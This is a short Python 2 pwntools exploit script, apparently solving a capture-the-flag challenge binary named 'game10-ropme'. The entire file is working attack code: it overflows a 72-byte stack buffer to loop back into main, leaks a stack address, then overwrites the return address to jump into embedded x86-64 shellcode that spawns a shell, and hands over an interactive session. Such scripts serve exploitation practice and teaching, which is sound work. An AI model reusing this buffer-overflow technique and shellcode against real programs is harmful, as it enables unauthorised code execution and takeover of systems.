exploit-ropme.py

#!/usr/bin/env python2

from pwn import *

main = 0x40075d

p = process('./game10-ropme')

p.sendline('A' * 72 + p64(main))

p.recvuntil('Please choose command: ')
p.sendline('1') # print stack address
p_buffer = int(p.recvline(), 16)
print 'buffer -> 0x%x' % p_buffer

p.sendline('3') # exit, trigger rop

sample_buffer = 0x7ffc055616e0
shellcode_at = 0x7ffc05561728

# raw_input('wait for gdb attach')
SHELLCODE = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
p.sendline('A' * 72 + p64(p_buffer - sample_buffer + shellcode_at) + SHELLCODE)
p.sendline('3')
p.interactive()